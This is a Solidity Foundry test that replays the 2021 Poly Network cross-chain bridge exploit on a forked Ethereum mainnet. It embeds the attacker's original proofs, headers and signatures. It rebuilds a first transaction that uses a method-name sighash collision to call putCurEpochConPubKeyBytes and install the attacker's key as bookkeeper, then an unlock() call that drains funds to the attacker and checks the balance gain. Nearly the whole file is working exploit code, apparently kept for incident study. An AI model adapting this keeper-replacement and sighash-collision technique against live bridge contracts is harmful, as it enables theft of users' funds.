PolyNetworkBridge.attack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";
import {ECCUtils} from "../../interfaces/PolyNetworkLibraries/ETHCrossChainUtils.sol";
import {ZeroCopySource} from "../../interfaces/PolyNetworkLibraries/ZeroCopySource.sol";
import {ZeroCopySink} from "../../interfaces/PolyNetworkLibraries/ZeroCopySink.sol";
import {BytesLib} from "../../utils/BytesLib.sol";

interface IEthCrossChainManager {
    function verifyHeaderAndExecuteTx(
        bytes memory proof,
        bytes memory rawHeader,
        bytes memory headerProof,
        bytes memory curRawHeader,
        bytes memory headerSig
    ) external returns (bool);
}

struct TxArgs {
    bytes toAssetHash;
    bytes toAddress;
    uint256 amount;
}

contract Exploit_PolyNetwork is TestHarness, TokenBalanceTracker {
    IEthCrossChainManager internal bridge = IEthCrossChainManager(0x838bf9E95CB12Dd76a54C9f9D2E3082EAF928270);
    address internal attacker = 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963;

    // Below are the original payloads extracted from the executed attack
    // We use them to validate the TXs data generated, then execute the attack
    bytes internal attacker_proof_tx1 =
        hex"af2080cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a0300000000000000200c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f708ea3100000000000014e1a18842891f8e82a5e6e5ad0a06d8448fe2f407020000000000000014cf2afe102057ba5c16f899271045a0a37fcb10f20b66313132313331383039331d010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d";
    bytes internal attacker_rawHeader_tx1 =
        hex"0000000000000000000000008446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708d38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717f3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834bc7471261843aa80030451454a4f4b560fd13017b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d0000000000000000000000000000000000000000";
    bytes internal attacker_headerSig_tx1 =
        hex"7e3359dec445d7d49b80d9999ef2e34f01b6526f2a0b848fcb223201b21ced0e51bece6815510bf7283e98175c0bdfde8b5b1bdc38beef5e7b8ab1b8e8d1b2c900428e40826b3606e0b684d66e9406a5c0d69c16a5cbda8fefe176716f3286e872361ed29bd945b56d5af3a8c581d2b627f679061282f11a6e9b021fe3426faece00e09479bd3581f9eb27be273a761c509f6f20bde1c6a4187fa082c4e55b2f07684034b50075441c51cfc3061879bcf04e5a256b21379f67a2dc0643843bf6438000";

    bytes internal attacker_proof_tx2 =
        hex"b12094821f19c671e4c557c358d0780bd2030f3c909df3cb6933607077b9e57d89bd0a00000000000000010001001434d4a23a1fc0c694f0d74ddaf9d8d564cfe2d430020000000000000014250e76987d838a75310c34bf422ea9f1ac4cc90606756e6c6f636b4a14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000";
    bytes internal attacker_rawHeader_tx2 =
        hex"00000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000afc014478ad573eaa072aaf625f990b01b1f0733b6070d2e38770f74c4d5fac900000000000000000000000000000000000000000000000000000000000000000000000000ca9a3b020000000000000001000000000000000000000000000000000000000000000000000000000000000000";
    bytes internal attacker_headerSig_tx2 =
        hex"0c6539f57b9bd2138b003744d9bd94375111bd0137525073b5b3967b7089d98f47236cea76488260b74cb587dbbeb7c5f35a056a5cf5b63649cd90ff487f386401";

    function setUp() external {
        cheat.createSelectFork(vm.envString("RPC_URL"), 12_996_658);
        // We use the actual attacker address here to reuse their signed message
        // A possible improvement is to reverse-engineer their payload, and create
        // logic that rebuilds the payload to be able to modify it and set
        // an arbitrary address
        updateBalanceTracker(attacker);
    }

    function test_attack() external {
        bytes memory proof;
        bytes memory rawHeader;
        bytes memory headerSig;

        uint256 balanceBefore = attacker.balance;

        // First, let's make ourselves owners
        // We generate an initial transaction that will call putCurEpochConPubKeyBytes(), placing the
        // attacker's public key into the book keeper storage
        (proof, rawHeader, headerSig) = generate_tx1();
        assertEq(proof, attacker_proof_tx1);
        assertEq(rawHeader, attacker_rawHeader_tx1);
        assertEq(headerSig, attacker_headerSig_tx1);
        bridge.verifyHeaderAndExecuteTx(proof, rawHeader, "", "", headerSig);

        // Then, we can execute whatever we want, as we are always authorized!
        // We generate a second transaction that will call unlock() and transfer funds to the attacker's
        // contract
        (proof, rawHeader, headerSig) = generate_tx2();
        assertEq(proof, attacker_proof_tx2);
        assertEq(rawHeader, attacker_rawHeader_tx2);
        assertEq(headerSig, attacker_headerSig_tx2);

        console.log("\n\n");
        console.log("[ ATTACK ]");
        logBalancesWithLabel("Attacker before", attacker);
        bridge.verifyHeaderAndExecuteTx(proof, rawHeader, "", "", headerSig);

        logBalancesWithLabel("Attacker after", attacker);
        uint256 balanceAfter = attacker.balance;
        assertGe(balanceAfter, balanceBefore);
    }

    function generate_tx1()
        internal
        returns (bytes memory proof, bytes memory rawHeader, bytes memory headerSig)
    {
        ECCUtils.Header memory header;
        ECCUtils.ToMerkleValue memory toMerkleValue;
        bytes memory toMerkleValueBs;
        bytes memory auditPath =
            hex"01362cad381a1e2432383300391908794fb71a2acd717d2f1565a40e7f8d36f9d5017b5baaca2a25e97f5afa40e98f87b0eca2eb0e9e7f24684d1b56db214aa51b3301ee1671b66cad1415453c0544d7e4425c1632e1b7dfdae3bd642ed7954e9f9b0d";
        headerSig = attacker_headerSig_tx1;

        Exploit_PolyNetwork_Serializer serializer = new Exploit_PolyNetwork_Serializer();

        // Header
        header.version = 0; // version
        header.chainId = 0; // chainId
        header.prevBlockHash = 0x8446719cbe62cf6fb9e3fb95a6c12882c5a3d885ad1dd8f2785e48d617d12708; // prevBlockHash
        header.transactionsRoot = 0xd38136a7df909f371a9f835d3ad58637e0dbc2f3e0f4bb60228730a46f77839a; // transactionsRoot
        header.crossStatesRoot = 0x773046bcc14f6079db9033d0ab6176f171384070729fbfd2086a418e7e057717; // crossStatesRoot
        // - to verify inclusion
        header.blockRoot = 0xf3e67f4b67c999d13c258e5657f4dc0b5553e1836d0d81d1bff05b621053834b; // blockRoot
        header.timestamp = uint32(1_628_587_975); // Aug 10 2021, 6:32:55AM
        header.height = uint32(11_025_028); // height
        header.consensusData = uint64(6_968_744_985_048_139_056); // consensus data
        header.consensusPayload =
            hex"7b226c6561646572223a332c227672665f76616c7565223a22424851706a716f325767494d616a7a5a5a6c4158507951506c7a3357456e4a534e7470682b35416346376f37654b784e48486742704156724e54666f674c73485264394c7a544a5666666171787036734a637570324d303d222c227672665f70726f6f66223a226655346f56364462526d543264744d5254397a326b366853314f6f42584963397a72544956784974576348652f4b56594f2b58384f5167746143494d676139682f59615548564d514e554941326141484f664d545a773d3d222c226c6173745f636f6e6669675f626c6f636b5f6e756d223a31303938303030302c226e65775f636861696e5f636f6e666967223a6e756c6c7d"; // consensusPayload
        header.nextBookkeeper = 0; // nextBookkeeper

        // Poly cross-chain transaction
        toMerkleValue.fromChainID = 3;
        // VerifyHeaderAndExecuteTxEvent(tx.makeTxParam.toContract, tx.txHash, tx.makeTxParam.txHash)
        toMerkleValue.txHash = hex"80cc978479eb082e1e656993c63dee7a5d08a00dc2b2aab88bc0e465cfa0721a"; // cross-chain
        // tx hash
        toMerkleValue.makeTxParam.txHash =
        hex"0c28ffffaa7c5602285476ad860c54039782f8f20bd3677ba3d5250661ba71f7"; // source-chain tx hash
        toMerkleValue.makeTxParam.crossChainId = ZeroCopySink.WriteUint64(12_778);
        toMerkleValue.makeTxParam.fromContract = hex"e1a18842891f8e82a5e6e5ad0a06d8448fe2f407";
        toMerkleValue.makeTxParam.toChainId = uint64(2); // ETH mainnet
        toMerkleValue.makeTxParam.toContract = hex"cf2afe102057ba5c16f899271045a0a37fcb10f2"; // https://etherscan.io/address/0xcf2afe102057ba5c16f899271045a0a37fcb10f2
        toMerkleValue.makeTxParam.method = "f1121318093"; // sighash('f1121318093(bytes,bytes,uint64)') <->
        // sighash'putCurEpochConPubKeyBytes(bytes)'
        toMerkleValue.makeTxParam.args = hex"010000000000000014a87fb85a93ca072cd4e5f0d4f178bc831df8a00b"; // attacker
        // pub key

        toMerkleValueBs = serializer.serializeTx(toMerkleValue, toMerkleValue.makeTxParam);
        proof = encodeProof(toMerkleValueBs, auditPath);
        rawHeader = serializer.serializeHeader(header);

        // Log to screen
        logTx1(header, toMerkleValue, toMerkleValueBs, proof, rawHeader);

        return (proof, rawHeader, headerSig);
    }

    function generate_tx2()
        internal
        returns (bytes memory proof, bytes memory rawHeader, bytes memory headerSig)
    {
        ECCUtils.Header memory header;
        ECCUtils.ToMerkleValue memory toMerkleValue;
        bytes memory toMerkleValueBs;
        headerSig = attacker_headerSig_tx2;

        Exploit_PolyNetwork_Serializer serializer = new Exploit_PolyNetwork_Serializer();

        // Header
        header.version = 0; // version
        header.chainId = 2; // chainId
        header.prevBlockHash = 0x0000000000000000000000000000000000000000000000000000000000000000; // prevBlockHash
        header.transactionsRoot = 0x0000000000000000000000000000000000000000000000000000000000000000; // transactionsRoot
        header.crossStatesRoot = 0xafc014478ad573eaa072aaf625f990b01b1f0733b6070d2e38770f74c4d5fac9; // crossStatesRoot
        // - to verify inclusion
        header.blockRoot = 0x0000000000000000000000000000000000000000000000000000000000000000; // blockRoot
        header.timestamp = uint32(0); // Aug 10 2021, 6:32:55AM
        header.height = uint32(1_000_000_000); // height
        header.consensusData = uint64(2); // consensus data
        header.consensusPayload = hex"00"; // consensusPayload
        header.nextBookkeeper = 0; // nextBookkeeper
        header.padding = abi.encodePacked(hex"000000000000000000000000");

        // Poly cross-chain transaction
        toMerkleValue.fromChainID = 10;
        // VerifyHeaderAndExecuteTxEvent(tx.makeTxParam.toContract, tx.txHash, tx.makeTxParam.txHash)
        toMerkleValue.txHash = hex"94821f19c671e4c557c358d0780bd2030f3c909df3cb6933607077b9e57d89bd"; // cross-chain
        // tx hash
        toMerkleValue.makeTxParam.txHash = hex"00"; // source-chain tx hash
        toMerkleValue.makeTxParam.crossChainId = hex"00";
        toMerkleValue.makeTxParam.fromContract = hex"34d4a23a1fc0c694f0d74ddaf9d8d564cfe2d430";
        toMerkleValue.makeTxParam.toChainId = uint64(2); // ETH mainnet
        toMerkleValue.makeTxParam.toContract = hex"250e76987d838a75310c34bf422ea9f1ac4cc906"; // https://etherscan.io/address/0x250e76987d838a75310c34bf422ea9f1ac4cc906#code#L1304
        toMerkleValue.makeTxParam.method = "unlock"; // function unlock(bytes memory argsBs, bytes memory
        // fromContractAddr, uint64 fromChainId)
        toMerkleValue.makeTxParam.args =
            hex"14000000000000000000000000000000000000000014c8a65fadf0e0ddaf421f28feab69bf6e2e5899632662f145d8d496e79a0000000000000000000000000000000000000000000000"; // attacker
        // contract, value etc.

        toMerkleValueBs = serializer.serializeTx(toMerkleValue, toMerkleValue.makeTxParam);
        proof = encodeProof(toMerkleValueBs, "");
        rawHeader = serializer.serializeHeader(header);

        // Log to screen
        logTx2(header, toMerkleValue, toMerkleValueBs, proof, rawHeader);

        return (proof, rawHeader, headerSig);
    }

    function encodeProof(bytes memory data, bytes memory auditPath)
        internal
        pure
        returns (bytes memory rawProof)
    {
        rawProof = abi.encodePacked(uint8(data.length), data, auditPath);

        return rawProof;
    }

    function logTx1(
        ECCUtils.Header memory header,
        ECCUtils.ToMerkleValue memory toMerkleValue,
        bytes memory toMerkleValueBs,
        bytes memory proof,
        bytes memory rawHeader
    ) internal {
        uint64 crossChainId;

        console.log("");
        console.log("[ TX 1 ]");
        console.log("Header version:", header.version);
        console.log("Header chainID:", header.chainId);
        console.log("Header prevBlockHash");
        console.logBytes32(header.prevBlockHash);
        console.log("Header transactionsRoot");
        console.logBytes32(header.transactionsRoot);
        console.log("Header crossStatesRoot");
        console.logBytes32(header.crossStatesRoot);
        console.log("Header blockRoot");
        console.logBytes32(header.blockRoot);
        console.log("Header timestamp:", header.timestamp);
        console.log("Header height:", header.height);
        console.log("Header consensusData:", header.consensusData);
        emit log_named_bytes("Header consensusPayload", header.consensusPayload);
        console.log("Header nextBookkeeper");
        console.logBytes32(header.nextBookkeeper);
        console.log("");
        emit log_named_bytes("Cross chain tx hash", toMerkleValue.txHash);
        console.log("From chain ID:", toMerkleValue.fromChainID);
        emit log_named_bytes("Source chain tx hash", toMerkleValue.makeTxParam.txHash);
        (crossChainId,) = ZeroCopySource.NextUint64(toMerkleValue.makeTxParam.crossChainId, 0);
        console.log("Cross chain ID:", crossChainId);
        emit log_named_bytes("From contract", toMerkleValue.makeTxParam.fromContract);
        console.log("To chain ID:", toMerkleValue.makeTxParam.toChainId);
        emit log_named_bytes("To contract", toMerkleValue.makeTxParam.toContract);
        emit log_named_bytes("Method ASCII encoded", toMerkleValue.makeTxParam.method);
        bytes4 _methodId =
            bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, "(bytes,bytes,uint64)")));
        console.log("Method ID");
        console.logBytes4(_methodId);
        emit log_named_bytes("Args", toMerkleValue.makeTxParam.args);
        console.log("");
        emit log_named_bytes("Serialized header", rawHeader);
        console.log("");
        emit log_named_bytes("Serialized merkle tree / tx value", toMerkleValueBs);
        console.log("");
        emit log_named_bytes("Serialized proof", proof);
    }

    function logTx2(
        ECCUtils.Header memory header,
        ECCUtils.ToMerkleValue memory toMerkleValue,
        bytes memory toMerkleValueBs,
        bytes memory proof,
        bytes memory rawHeader
    ) internal {
        console.log("");
        console.log("[ TX 2 ]");
        console.log("Header version:", header.version);
        console.log("Header chainID:", header.chainId);
        console.log("Header prevBlockHash");
        console.logBytes32(header.prevBlockHash);
        console.log("Header transactionsRoot");
        console.logBytes32(header.transactionsRoot);
        console.log("Header crossStatesRoot");
        console.logBytes32(header.crossStatesRoot);
        console.log("Header blockRoot");
        console.logBytes32(header.blockRoot);
        console.log("Header timestamp:", header.timestamp);
        console.log("Header height:", header.height);
        console.log("Header consensusData:", header.consensusData);
        emit log_named_bytes("Header consensusPayload", header.consensusPayload);
        console.log("Header nextBookkeeper");
        console.logBytes32(header.nextBookkeeper);

        console.log("");
        emit log_named_bytes("Cross chain tx hash", toMerkleValue.txHash);
        console.log("From chain ID:", toMerkleValue.fromChainID);
        emit log_named_bytes("Source chain tx hash", toMerkleValue.makeTxParam.txHash);
        console.log("Cross chain ID:");
        console.logBytes(toMerkleValue.makeTxParam.crossChainId);
        emit log_named_bytes("From contract", toMerkleValue.makeTxParam.fromContract);
        console.log("To chain ID:", toMerkleValue.makeTxParam.toChainId);
        emit log_named_bytes("To contract", toMerkleValue.makeTxParam.toContract);
        emit log_named_bytes("Method ASCII encoded", toMerkleValue.makeTxParam.method);
        bytes4 _methodId =
            bytes4(keccak256(abi.encodePacked(toMerkleValue.makeTxParam.method, "(bytes,bytes,uint64)")));
        console.log("Method ID");
        console.logBytes4(_methodId);
        emit log_named_bytes("Args", toMerkleValue.makeTxParam.args);
        console.log("");
        emit log_named_bytes("Serialized header", rawHeader);
        console.log("");
        emit log_named_bytes("Serialized merkle tree / tx value", toMerkleValueBs);
        console.log("");
        emit log_named_bytes("Serialized proof", proof);
    }
}

contract Exploit_PolyNetwork_Deserializer is TestHarness {
    function deseralizeProof(bytes memory _proof, ECCUtils.Header memory _header)
        public
        pure
        returns (ECCUtils.ToMerkleValue memory)
    {
        ECCUtils.ToMerkleValue memory toMerkleValue;
        bytes memory toMerkleValueBs;

        toMerkleValueBs = ECCUtils.merkleProve(_proof, _header.crossStatesRoot);
        toMerkleValue = ECCUtils.deserializeMerkleValue(toMerkleValueBs);
        return toMerkleValue;
    }

    function deserializeHeader(bytes memory _header) public pure returns (ECCUtils.Header memory) {
        ECCUtils.Header memory header = ECCUtils.deserializeHeader(_header);
        return header;
    }

    function deserializeTxArgs(bytes memory valueBs) public pure returns (TxArgs memory) {
        TxArgs memory args;
        uint256 off = 0;
        (args.toAssetHash, off) = ZeroCopySource.NextVarBytes(valueBs, off);
        (args.toAddress, off) = ZeroCopySource.NextVarBytes(valueBs, off);
        (args.amount, off) = ZeroCopySource.NextUint255(valueBs, off);
        return args;
    }
}

contract Exploit_PolyNetwork_Serializer is TestHarness {
    function serializeTxArgs(TxArgs memory args) public pure returns (bytes memory _args) {
        _args = abi.encodePacked(
            ZeroCopySink.WriteVarBytes(args.toAssetHash),
            ZeroCopySink.WriteVarBytes(args.toAddress),
            ZeroCopySink.WriteUint255(args.amount)
        );
        return _args;
    }

    function serializeHeader(ECCUtils.Header memory header) public pure returns (bytes memory _header) {
        bytes memory head = abi.encodePacked(
            ZeroCopySink.WriteUint32(header.version),
            ZeroCopySink.WriteUint64(header.chainId),
            header.prevBlockHash,
            header.transactionsRoot,
            header.crossStatesRoot,
            header.blockRoot
        );

        bytes memory tail = abi.encodePacked(
            ZeroCopySink.WriteUint32(header.timestamp),
            ZeroCopySink.WriteUint32(header.height),
            ZeroCopySink.WriteUint64(header.consensusData),
            ZeroCopySink.WriteVarBytes(header.consensusPayload),
            header.nextBookkeeper,
            header.padding
        );

        _header = BytesLib.concat(head, tail);
        return _header;
    }

    function serializeTx(ECCUtils.ToMerkleValue memory merkle, ECCUtils.TxParam memory param)
        public
        pure
        returns (bytes memory _tx)
    {
        _tx = abi.encodePacked(
            ZeroCopySink.WriteVarBytes(merkle.txHash),
            ZeroCopySink.WriteUint64(merkle.fromChainID),
            ZeroCopySink.WriteVarBytes(param.txHash),
            ZeroCopySink.WriteVarBytes(param.crossChainId),
            ZeroCopySink.WriteVarBytes(param.fromContract),
            ZeroCopySink.WriteUint64(param.toChainId),
            ZeroCopySink.WriteVarBytes(param.toContract),
            ZeroCopySink.WriteVarBytes(param.method),
            ZeroCopySink.WriteVarBytes(param.args)
        );
        return _tx;
    }
}